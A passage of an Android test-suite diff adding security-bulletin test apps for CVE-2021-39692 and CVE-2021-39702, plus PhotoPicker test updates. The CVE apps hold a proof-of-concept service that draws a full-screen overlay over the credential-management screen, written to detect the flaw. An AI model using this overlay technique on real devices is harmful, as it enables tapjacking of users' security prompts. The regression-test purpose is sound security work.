{ + + @Override + public void onReceive(Context context, Intent intent) { + super.onReceive(context, intent); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java new file mode 100644 index 00000000000..be96d115d4f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39692; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + private Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + mButton = new Button(getApplicationContext()); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp new file mode 100644 index 00000000000..8c5b2519aa9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-39702", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml new file mode 100644 index 00000000000..60105d647cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml @@ -0,0 +1,37 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39702" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2021_39702" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39702" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml new file mode 100644 index 00000000000..ede3c087bf2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml @@ -0,0 +1,34 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="action">android.security.MANAGE_CREDENTIALS</string> + <string name="activityNotFoundMsg">The activity with intent was not found : </string> + <string name="activityNotStartedException">Unable to start the activity with intent : </string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivity">dumpsys activity</string> + <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command</string> + <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string> + <string name="extraAuthenticationPolicy">android.security.extra.AUTHENTICATION_POLICY</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayAttack">overlayattack</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayServiceNotStartedException">Unable to start the overlay service</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="testPkg">android.security.cts.CVE_2021_39702</string> + <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running on the device</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java new file mode 100644 index 00000000000..69e0f86a7aa --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java @@ -0,0 +1,124 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.net.Uri; +import android.provider.Settings; +import android.security.AppUriAuthenticationPolicy; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int LAUNCH_TIMEOUT_MS = 20000; + private static String VulnerableActivityName = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e); + } + } + + public void startVulnerableActivity() { + Context context = getApplicationContext(); + Intent intent = new Intent(context.getString(R.string.action)); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder() + .addAppAndUriMapping(context.getString(R.string.testPkg), Uri.parse(""), + context.getString(R.string.overlayAttack)) + .build(); + intent.putExtra(context.getString(R.string.extraAuthenticationPolicy), policy); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + VulnerableActivityName = ri.activityInfo.name; + assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null); + try { + context.startActivity(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e); + } + } + + @Test + public void testOverlayButtonPresence() { + Context context = getApplicationContext(); + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + LAUNCH_TIMEOUT_MS)) { + overlayDisallowed = true; + } + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivity) + " " + VulnerableActivityName); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.errorMessage), overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java new file mode 100644 index 00000000000..e20029af7e0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + public static Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + mButton = new Button(context); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp index 4ba3243e177..0a6dfd66ac8 100644 --- a/tests/MediaProviderTranscode/Android.bp +++ b/tests/MediaProviderTranscode/Android.bp @@ -7,6 +7,7 @@ android_test { test_suites: [ "device-tests", "cts", + "mts-mediaprovider", ], compile_multilib: "both", @@ -30,6 +31,7 @@ android_test { "truth-prebuilt", ], + min_sdk_version: "30", certificate: "media", java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"] } @@ -45,6 +47,7 @@ android_test_helper_app { ], static_libs: ["androidx.legacy_legacy-support-v4"], target_sdk_version: "28", + min_sdk_version: "30", } android_test_helper_app { @@ -58,4 +61,5 @@ android_test_helper_app { ], static_libs: ["androidx.legacy_legacy-support-v4"], target_sdk_version: "28", + min_sdk_version: "30", } diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml index 8dba7414c5c..6b9c8e902fe 100644 --- a/tests/MediaProviderTranscode/AndroidTest.xml +++ b/tests/MediaProviderTranscode/AndroidTest.xml @@ -19,6 +19,11 @@ <option name="install-arg" value="-g" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="test-suite-tag" value="apct" /> <option name="test-suite-tag" value="cts" /> <option name="test-tag" value="MediaProviderTranscodeTests" /> @@ -32,4 +37,8 @@ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" /> <option name="hidden-api-checks" value="false"/> </test> + + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> + <option name="mainline-module-package-name" value="com.google.android.mediaprovider" /> + </object> </configuration> diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp index 37b049b36c2..5a9fc331708 100644 --- a/tests/PhotoPicker/Android.bp +++ b/tests/PhotoPicker/Android.bp @@ -22,7 +22,7 @@ android_test { test_config: "AndroidTest.xml", srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",], compile_multilib: "both", - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: ["general-tests", "mts-mediaprovider", "cts"], sdk_version: "core_current", min_sdk_version: "30", libs: [ diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml index dbd1bc41e5c..c52543e4c4b 100644 --- a/tests/PhotoPicker/AndroidTest.xml +++ b/tests/PhotoPicker/AndroidTest.xml @@ -23,6 +23,11 @@ <option name="force-root" value="false" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="test-suite-tag" value="cts" /> <option name="test-tag" value="PhotoPickerTests" /> <!-- Instant apps cannot access external storage --> diff --git a/tests/PhotoPicker/res/raw/test_video.mp4 b/tests/PhotoPicker/res/raw/test_video.mp4 Binary files differnew file mode 100644 index 00000000000..ab95ac07dd3 --- /dev/null +++ b/tests/PhotoPicker/res/raw/test_video.mp4 diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/test_video_dng.mp4 Binary files differindex 9b38f0e8e7d..9b38f0e8e7d 100644 --- a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 +++ b/tests/PhotoPicker/res/raw/test_video_dng.mp4 diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java index 49a1acbd772..ecf82418345 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java @@ -25,6 +25,8 @@ import android.provider.DeviceConfig; import androidx.test.InstrumentationRegistry; import androidx.test.uiautomator.UiDevice; +import com.android.modules.utils.build.SdkLevel; + import org.junit.Before; /** @@ -41,15 +43,17 @@ public class PhotoPickerBaseTest { @Before public void setUp() throws Exception { final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); + mDevice = UiDevice.getInstance(inst); - enablePhotoPickerFlag(inst); + final String setSyncDelayCommand = + "setprop persist.sys.photopicker.pickerdb.default_sync_delay_ms 0"; + mDevice.executeShellCommand(setSyncDelayCommand); mContext = inst.getContext(); final Intent intent = new Intent(mContext, GetResultActivity.class); - intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); // Wake up the device and dismiss the keyguard before the test starts - mDevice = UiDevice.getInstance(inst); mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP"); mDevice.executeShellCommand("wm dismiss-keyguard"); @@ -59,14 +63,4 @@ public class PhotoPickerBaseTest { mActivity.clearResult(); mDevice.waitForIdle(); } - - private void enablePhotoPickerFlag(Instrumentation inst) { - inst.getUiAutomation().adoptShellPermissionIdentity( - Manifest.permission.WRITE_DEVICE_CONFIG); - DeviceConfig.setProperty( - DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT, - "picker_intent_enabled" /* name */, - "true" /* value */, - false /* makeDefault */); - } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java index 10587786202..1092406823f 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java @@ -20,11 +20,13 @@ import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPick import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; import static android.photopicker.cts.util.PhotoPickerUiUtils.findProfileButton; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import android.content.ClipData; import android.content.Intent; @@ -33,6 +35,7 @@ import android.provider.MediaStore; import androidx.test.filters.SdkSuppress; import androidx.test.uiautomator.UiObject; +import androidx.test.uiautomator.UiSelector; import com.android.bedstead.harrier.BedsteadJUnit4; import com.android.bedstead.harrier.DeviceState; @@ -41,7 +44,6 @@ import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile; import org.junit.After; import org.junit.ClassRule; -import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; @@ -53,7 +55,6 @@ import java.util.List; * Photo Picker Device only tests for cross profile interaction flows. */ @RunWith(BedsteadJUnit4.class) -@SdkSuppress(minSdkVersion = 31, codeName = "S") public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @ClassRule @Rule public static final DeviceState sDeviceState = new DeviceState(); @@ -63,14 +64,19 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @After public void tearDown() throws Exception { for (Uri uri : mUriList) { - deleteMedia(uri, mContext.getUserId()); + deleteMedia(uri, mContext); } + mUriList.clear(); mActivity.finish(); } + /** + * ACTION_PICK_IMAGES is allowlisted by default from work to personal. This got allowlisted + * in a platform code change and is available Android T onwards. + */ @Test @RequireRunOnWorkProfile - @Ignore("Enable after b/201323670 is fixed") + @SdkSuppress(minSdkVersion = 32, codeName = "T") public void testWorkApp_canAccessPersonalProfileContents() throws Exception { final int imageCount = 2; createImages(imageCount, sDeviceState.primaryUser().id(), mUriList); @@ -107,15 +113,30 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { } } + /** + * ACTION_PICK_IMAGES is allowlisted by default from work to personal. This got allowlisted + * in a platform code change and is available Android T onwards. Before that it needs to be + * explicitly allowlisted by the device admin. + */ + @Test + @RequireRunOnWorkProfile + @SdkSuppress(maxSdkVersion = 31, codeName = "S") + public void testWorkApp_cannotAccessPersonalProfile_beforeT() throws Exception { + assertBlockedByAdmin(/* isInvokedFromWorkProfile */ true); + } + + /** + * ACTION_PICK_IMAGES is allowlisted by default from work to personal only (not vice-a-versa) + */ @Test @EnsureHasWorkProfile - @Ignore("Enable after b/201323670 is fixed") - public void testPersonalApp_canAccessWorkProfileContents() throws Exception { - final int imageCount = 2; - createImages(imageCount, sDeviceState.workProfile().id(), mUriList); + public void testPersonalApp_cannotAccessWorkProfile_default() throws Exception { + assertBlockedByAdmin(/* isInvokedFromWorkProfile */ false); + } + private void assertBlockedByAdmin(boolean isInvokedFromWorkProfile) throws Exception { Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); mActivity.startActivityForResult(intent, REQUEST_CODE); // Click the profile button to change to work profile @@ -123,26 +144,24 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { profileButton.click(); mDevice.waitForIdle(); - final List<UiObject> itemList = findItemList(imageCount); - final int itemCount = itemList.size(); - assertThat(itemCount).isEqualTo(imageCount); - for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); - } - - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + assertBlockedByAdminDialog(isInvokedFromWorkProfile); + } - final ClipData clipData = mActivity.getResult().data.getClipData(); - final int count = clipData.getItemCount(); - assertThat(count).isEqualTo(imageCount); - for (int i = 0; i < count; i++) { - Uri uri = clipData.getItemAt(i).getUri(); - assertPickerUriFormat(uri, sDeviceState.workProfile().id()); - assertRedactedReadOnlyAccess(uri); + private void assertBlockedByAdminDialog(boolean isInvokedFromWorkProfile) { + final String dialogTitle = "Blocked by your admin"; + assertWithMessage("Timed out while waiting for blocked by admin dialog to appear") + .that(new UiObject(new UiSelector().textContains(dialogTitle)) + .waitForExists(SHORT_TIMEOUT)) + .isTrue(); + + final String dialogDescription; + if (isInvokedFromWorkProfile) { + dialogDescription = "Accessing personal data from a work app is not permitted"; + } else { + dialogDescription = "Accessing work data from a personal app is not permitted"; } + assertWithMessage("Blocked by admin description is not as expected") + .that(new UiObject(new UiSelector().textContains(dialogDescription)).exists()) + .isTrue(); } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java index 9b5904cefde..7ad44e1a86c 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java @@ -17,13 +17,15 @@ package android.photopicker.cts; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType; +import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPersistedGrant; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; -import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton; @@ -38,7 +40,6 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; -import androidx.test.filters.SdkSuppress; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiObject; import androidx.test.uiautomator.UiSelector; @@ -54,16 +55,19 @@ import java.util.List; * Photo Picker Device only tests for common flows. */ @RunWith(AndroidJUnit4.class) -@SdkSuppress(minSdkVersion = 31, codeName = "S") public class PhotoPickerTest extends PhotoPickerBaseTest { private List<Uri> mUriList = new ArrayList<>(); @After public void tearDown() throws Exception { for (Uri uri : mUriList) { - deleteMedia(uri, mContext.getUserId()); + deleteMedia(uri, mContext); + } + mUriList.clear(); + + if (mActivity != null) { + mActivity.finish(); } - mActivity.finish(); } @Test @@ -75,8 +79,30 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { mActivity.startActivityForResult(intent, REQUEST_CODE); final UiObject item = findItemList(itemCount).get(0); - item.click(); - mDevice.waitForIdle(); + clickAndWait(item); + + final Uri uri = mActivity.getResult().data.getData(); + assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); + assertRedactedReadOnlyAccess(uri); + } + + @Test + public void testSingleSelectForFavoritesAlbum() throws Exception { + final int itemCount = 1; + createImages(itemCount, mContext.getUserId(), mUriList, true); + + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + UiObject albumsTab = mDevice.findObject(new UiSelector().text( + "Albums")); + clickAndWait(albumsTab); + final UiObject album = findItemList(1).get(0); + clickAndWait(album); + + final UiObject item = findItemList(itemCount).get(0); + clickAndWait(item); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -84,6 +110,39 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { } @Test + public void testLaunchPreviewMultipleForVideoAlbum() throws Exception { + final int videoCount = 2; + createVideos(videoCount, mContext.getUserId(), mUriList); + + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.setType("video/*"); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + UiObject albumsTab = mDevice.findObject(new UiSelector().text( + "Albums")); + clickAndWait(albumsTab); + final UiObject album = findItemList(1).get(0); + clickAndWait(album); + + final List<UiObject> itemList = findItemList(videoCount); + final int itemCount = itemList.size(); + + assertThat(itemCount).isEqualTo(videoCount); + + for (int i = 0; i < itemCount; i++) { + clickAndWait(itemList.get(i)); + } + + clickAndWait(findViewSelectedButton()); + + // Wait for playback to start. This is needed in some devices where playback + // buffering -> ready state takes around 10s. + final long playbackStartTimeout = 10000; + (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout); + } + + @Test public void testSingleSelectWithPreview() throws Exception { final int itemCount = 1; createImages(itemCount, mContext.getUserId(), mUriList); @@ -96,8 +155,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { mDevice.waitForIdle(); final UiObject addButton = findPreviewAddOrSelectButton(); - addButton.click(); - mDevice.waitForIdle(); + assertThat(addButton.waitForExists(1000)).isTrue(); + clickAndWait(addButton); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -107,8 +166,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMultiSelect_invalidParam() throws Exception { final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - // TODO(b/205291616): Replace 101 with MediaStore.getPickImagesMaxLimit() + 1 - 